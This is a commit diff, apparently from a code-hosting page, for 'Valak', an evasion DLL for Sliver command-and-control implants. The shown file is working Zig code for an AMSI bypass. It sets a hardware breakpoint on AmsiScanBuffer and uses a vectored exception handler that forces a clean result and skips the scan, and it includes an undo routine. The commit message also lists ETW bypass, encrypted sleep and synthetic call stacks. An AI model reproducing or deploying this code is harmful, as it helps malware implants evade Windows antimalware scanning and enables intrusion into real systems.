Valak evasion DLL for Sliver implants. ChaCha20 encrypted sleep, synthetic callstack frames via indirect syscalls, HWBP AMSI/ETW bypass, FreshyCalls, CRT-free.
This commit is contained in:
+9
-11
@@ -1,4 +1,5 @@
|
||||
// AMSI bypass — VEH backed hardware breakpoint on AmsiScanBuffer. No bytes modified in amsi.dll.
|
||||
// AMSI bypass via hardware breakpoint on AmsiScanBuffer. DR0 breakpoint, VEH handler
|
||||
// sets RAX=0 and skips the call. No bytes modified in amsi.dll.
|
||||
const std = @import("std");
|
||||
const win = @import("win32.zig");
|
||||
const api = @import("api.zig");
|
||||
@@ -6,15 +7,14 @@ const api = @import("api.zig");
|
||||
var g_veh_handle: ?*anyopaque = null;
|
||||
var g_amsi_scan_addr: ?*anyopaque = null;
|
||||
|
||||
// VEH handler: on SINGLE_STEP at g_amsi_scan_addr → RAX=0, RIP=ret_addr, skip function
|
||||
fn amsi_veh_handler(ex: *win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG {
|
||||
if (ex.ExceptionRecord.ExceptionCode == win.EXCEPTION_SINGLE_STEP and
|
||||
ex.ExceptionRecord.ExceptionAddress == g_amsi_scan_addr)
|
||||
{
|
||||
ex.ContextRecord.Rax = 0; // AMSI_RESULT_CLEAN
|
||||
ex.ContextRecord.Rax = 0;
|
||||
const ret_addr = @as(*usize, @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(ex.ContextRecord.Rsp))))).*;
|
||||
ex.ContextRecord.Rip = ret_addr; // jump to AmsiScanBuffer's caller
|
||||
ex.ContextRecord.Rsp += 8; // pop return address
|
||||
ex.ContextRecord.Rip = ret_addr;
|
||||
ex.ContextRecord.Rsp += 8;
|
||||
return win.EXCEPTION_CONTINUE_EXECUTION;
|
||||
}
|
||||
return win.EXCEPTION_CONTINUE_SEARCH;
|
||||
@@ -34,20 +34,19 @@ pub fn patch_amsi() void {
|
||||
if (amsi == null) return;
|
||||
g_amsi_scan_addr = get_addr(amsi.?, "AmsiScanBuffer");
|
||||
if (g_amsi_scan_addr == null) return;
|
||||
g_veh_handle = veh(1, amsi_veh_handler); // 1 = first in handler chain
|
||||
g_veh_handle = veh(1, amsi_veh_handler);
|
||||
const thread = cur_thread();
|
||||
var ctx = std.mem.zeroes(win.CONTEXT);
|
||||
ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS;
|
||||
ctx.Dr0 = @intFromPtr(g_amsi_scan_addr.?); // breakpoint address
|
||||
ctx.Dr7 = (1 << 0); // enable DR0 locally
|
||||
ctx.Dr0 = @intFromPtr(g_amsi_scan_addr.?);
|
||||
ctx.Dr7 = (1 << 0);
|
||||
_ = suspend_thread(thread);
|
||||
_ = set_ctx(thread, &ctx);
|
||||
_ = resume_thread(thread);
|
||||
}
|
||||
|
||||
// Undo AMSI bypass — remove VEH handler, clear DR0/DR7 hardware breakpoint.
|
||||
// Undo AMSI bypass, remove VEH handler and clear DR0/DR7.
|
||||
pub fn unpatch_amsi() void {
|
||||
// Remove the VEH handler
|
||||
if (g_veh_handle) |h| {
|
||||
if (api.amsi_remove_vectored_exception_handler) |remove| {
|
||||
_ = remove(h);
|
||||
@@ -55,7 +54,6 @@ pub fn unpatch_amsi() void {
|
||||
g_veh_handle = null;
|
||||
}
|
||||
|
||||
// Clear DR0/DR7 — best-effort, APIs null if ensure() didn't run
|
||||
if (api.amsi_get_current_thread) |cur_thread| {
|
||||
if (api.amsi_set_thread_context) |set_ctx| {
|
||||
if (api.amsi_suspend_thread) |suspend_t| {
|
||||
|
||||
Reference in New Issue
Block a user